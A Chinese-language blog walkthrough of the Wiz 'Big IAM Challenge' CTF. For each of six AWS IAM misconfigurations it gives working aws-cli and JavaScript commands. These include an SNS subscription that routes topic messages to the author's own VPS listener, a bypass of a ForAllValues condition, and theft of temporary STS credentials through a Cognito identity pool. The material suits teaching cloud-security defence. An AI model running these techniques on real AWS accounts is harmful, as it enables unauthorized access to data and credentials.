目录

  1. 1. 前言
  2. 2. Buckets of Fun
  3. 3. Google Analytics
  4. 4. Enable Push Notifications
  5. 5. Admin only?
  6. 6. Do I know you?
  7. 7. One final push

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

The Big IAM Challenge

2025/8/27 Web 云安全
  |     |   总文章阅读量:

前言

入门级靶场

靶场地址:https://bigiamchallenge.com/challenge/1

参考:

https://wiki.teamssix.com/cloudservice/iam/the_big_iam_challenge_writeup.html

https://pswalia2u.medium.com/bigiamchallenge-aws-iam-challenges-ded45cb983f2


Buckets of Fun

policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

从策略里可以看到,这个桶对所有人有公开列对象和公开读取的权限

那么直接访问这个 bucket:https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com

可以看到 bucket 中的 key,访问这个 key 即可得到 flag

flag: {wiz:exposed-storage-risky-as-usual}

也可以使用 aws-cli 来获取

aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ --no-sign-request

aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/ --no-sign-request


Google Analytics

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

这个 Policy 授予了所有人拥有这个 SQS 队列的发送、接收消息的权限。

那么这里尝试 receive message,调用接口,Queue URL 由 policy 可知 Account ID 和 Queue,组成 /092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

直接在 challenge 提供的 aws-cli 这里执行命令,本地的话还需要配置 profile

aws sqs receive-message --queue-url http://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

响应中出现了一个 url 地址,访问得到 flag:{wiz:you-are-at-the-front-of-the-queue}


Enable Push Notifications

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

这个 Policy 允许 Endpoint 结尾是 @tbic.wiz.io 的人拥有这个 SNS 服务的 Subscribe 权限

那么很明显我们不能用邮箱进行订阅,不过 http 协议也是支持 url 中出现 @ 且不影响 host 解析的,于是在自己的 vps 上起个 nc

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://vps:23333/@tbic.wiz.io

另一边收到请求

复制这里的 token ,认证订阅

aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425a8a587855b1e0f1dd023310f0af6326f154b97ce60ee6b9cea0c2c555b3bc8622783c342f235a4266eb8c6965d53ff3c85fa188ee34fa175142477130823c9274b4899d18742dc383fc342e8537237c91820886843dd1a88c0070fef17e3133b7ee3c0553f983edf108ab1fa48f370b1e0ca8

但是我这里 aws-cli 报错了没成功,采用另外一种办法,直接访问 SubscribeURL,继续监听端口,过会就会接到 message 了

flag:{wiz:always-suspect-asterisks}


Admin only?

policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

依旧是 s3 存储桶,思路还是找到 flag 的 key,然后访问地址即可

但是这里的 Condition 对列对象做了限制,只对 arn:aws:iam::133713371337:user/admin 主体授予了 ListBucket 权限

注意这里的 ForAllValues,官方文档:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition_examples-multi-valued-context-keys.html

如果请求中没有上下文键,ForAllValues 集合运算符也会返回 true。

所以不要使用带有 Allow 效果的 ForAllValues,因为这样可能会过于宽容,建议使用 ForAnyValue,空值时会返回 false

如果我们把请求中的 aws:PrincipalArn 置空,这里就会返回 True,那么就可以绕过了

在 aws-cli 中,置空 aws:PrincipalArn 的方法是带上 --no-sign-request 参数

aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request

那么我们就列出存储桶里的对象了,直接访问 flag 即可:https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/files/flag-as-admin.txt

flag:{wiz:principal-arn-is-not-what-you-think}

在使用命令行操作的时候,因为默认会带上自己 AWS CLI 上所配置的身份信息,所以这里我们需要加上 --no-sign-request 去绕过,但我们使用浏览器访问的时候,其实本身就不包含身份信息的,所以这里有个更简单的做法,就是直接使用浏览器访问,然后加上前缀就行了。


Do I know you?

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

这里可以得知和 cognito 有关

在 challenge 页面的 html 源码中找到相关的 sdk 配置:

<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
  AWS.config.region = 'us-east-1';
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
  // Set the region
  AWS.config.update({region: 'us-east-1'});

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);
    });
});
</script>

于是找到了身份池 id,接下来就按照官方文档给的方法结合 ai 写个 javascript 获取临时凭证并访问 s3

<!DOCTYPE html>
<html>
<head>
    <title>Cognito JavaScript SDK Example</title>
    <script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
</head>
<body>
    <script>
        AWS.config.region = 'us-east-1';
        AWS.config.credentials = new AWS.CognitoIdentityCredentials({
            IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b',
        });
  		// Set the region
        AWS.config.credentials.get(function(err) {
            if (!err) {
                var accessKeyId = AWS.config.credentials.accessKeyId;
                var secretAccessKey = AWS.config.credentials.secretAccessKey;
                var sessionToken = AWS.config.credentials.sessionToken;

                // 进行后续操作,如访问S3
                accessS3(accessKeyId, secretAccessKey, sessionToken);
            } else {
                // 凭证获取失败
                console.error('Error retrieving credentials: ' + err);
            }
        });
        // 使用临时凭证访问S3
        function accessS3(accessKeyId, secretAccessKey, sessionToken) {
            var s3 = new AWS.S3({
                accessKeyId: accessKeyId,
                secretAccessKey: secretAccessKey,
                sessionToken: sessionToken,
            });
            var params = {
                Bucket: 'wiz-privatefiles',
            };
            s3.getSignedUrl('listObjectsV2', params, function(err, data) {
                if (!err) {
                    // S3存储桶列表获取成功
                    console.log(data);
                } else {
                    // S3存储桶列表获取失败
                    console.error('Error listing S3 buckets: ' + err);
                }
            });
        }
    </script>
</body>
</html>

浏览器打开这个 html,查看控制台输出

访问这个网址即可

成功列出 s3 列表,flag 在 flag1.txt

接下来修改 params 和操作,改为读取对象

var params = {
    Bucket: 'wiz-privatefiles',
    Key: 'flag1.txt',
};
s3.getSignedUrl('getObject', params, function(err, data) {
    if (!err) {
        // S3存储桶列表获取成功
        console.log(data);
    } else {
        // S3存储桶列表获取失败
        console.error('Error listing S3 buckets: ' + err);
    }
});

同样的操作得到 flag:{wiz:incognito-is-always-suspicious}


One final push

题目给了 arn:arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

此处开启了 sts:AssumeRoleWithWebIdentity,是身份验证,也就是说不能匿名访问了

那么我们需要获取 sts,那么就需要填 aws sts assume-role-with-web-identity 的三个参数

主要还是 web-identity-token,先用身份池 ID 获取身份 ID

aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

然后使用这个身份 ID 获取 Token

aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-eef6-c763-d034-39cd202b0ada

有了这个 token 就可以生成 sts 了

aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name 0w0 \
--web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtOCIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVmNi1jNzYzLWQwMzQtMzljZDIwMmIwYWRhIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3NTY0ODU2MjgsImlhdCI6MTc1NjQ4NTAyOH0.VVEI_jlpw2tk-Z7Au5IApbzhlWusbnprGZZE6D2WjDpXK0tc9Bz6onz1T64covdE0rggOLf1tGzjSu-bVSzh_1LECTtFXfsErNgIYYDASIM-iFjq2PFKqRr7QZpuP5Un9qrlVnU1mw-2E0xFzZSpwg4z9qzJBH7dKjRPwTqKh5WM0190SfoV1b3rgrfharFEae5ZhidktTRSRdFCGXEnoJgNj5YY3K3o7UNUASwLtVKM0jP5w4GMRSHHQWVE0KWzie15Iw_c5FfzH3dd8fZCs1SazMH7lzCyboP1rdLBC3TGNQFQH6i22sfV2d5_i1Sre7qAbt9fyfXzUX8YhymEPg

{
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXFMEAHZU5",
        "SecretAccessKey": "5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw",
        "SessionToken": "FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=",
        "Expiration": "2025-08-29T17:38:17Z"
    },
    "SubjectFromWebIdentityToken": "us-east-1:157d6171-eef6-c763-d034-39cd202b0ada",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:0w0",
        "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/0w0"
    },
    "Provider": "cognito-identity.amazonaws.com",
    "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

拿到 AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN

填入之前的 javascript sdk,其他部分不用动,只需要修改 accessS3

// 使用临时凭证访问S3
function accessS3(accessKeyId, secretAccessKey, sessionToken) {
    var s3 = new AWS.S3({
        accessKeyId: "ASIARK7LBOHXFMEAHZU5",
        secretAccessKey: "5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw",
        sessionToken: "FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=",
    });
    var params = {
        Bucket: 'wiz-privatefiles-x1000',
        // Key: 'flag1.txt',
    };
    s3.getSignedUrl('listObjectsV2', params, function(err, data) {
        if (!err) {
            // S3存储桶列表获取成功
            console.log(data);
        } else {
            // S3存储桶列表获取失败
            console.error('Error listing S3 buckets: ' + err);
        }
    });
}

flag 在 flag2.txt,切换为 getObject 故技重施即可

得到 flag:{wiz:open-sesame-or-shell-i-say-openid}

当然也可以用 aws-cli 完成这些操作

export AWS_ACCESS_KEY_ID=ASIARK7LBOHXFMEAHZU5
export AWS_SECRET_ACCESS_KEY=5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=

aws s3 ls

aws s3api get-object --bucket wiz-privatefiles-x1000 --key flag2.txt flag2.txt

总结一下就是在拿到身份池 ID 以及所对应的角色 ARN 时就可以获取对应角色的权限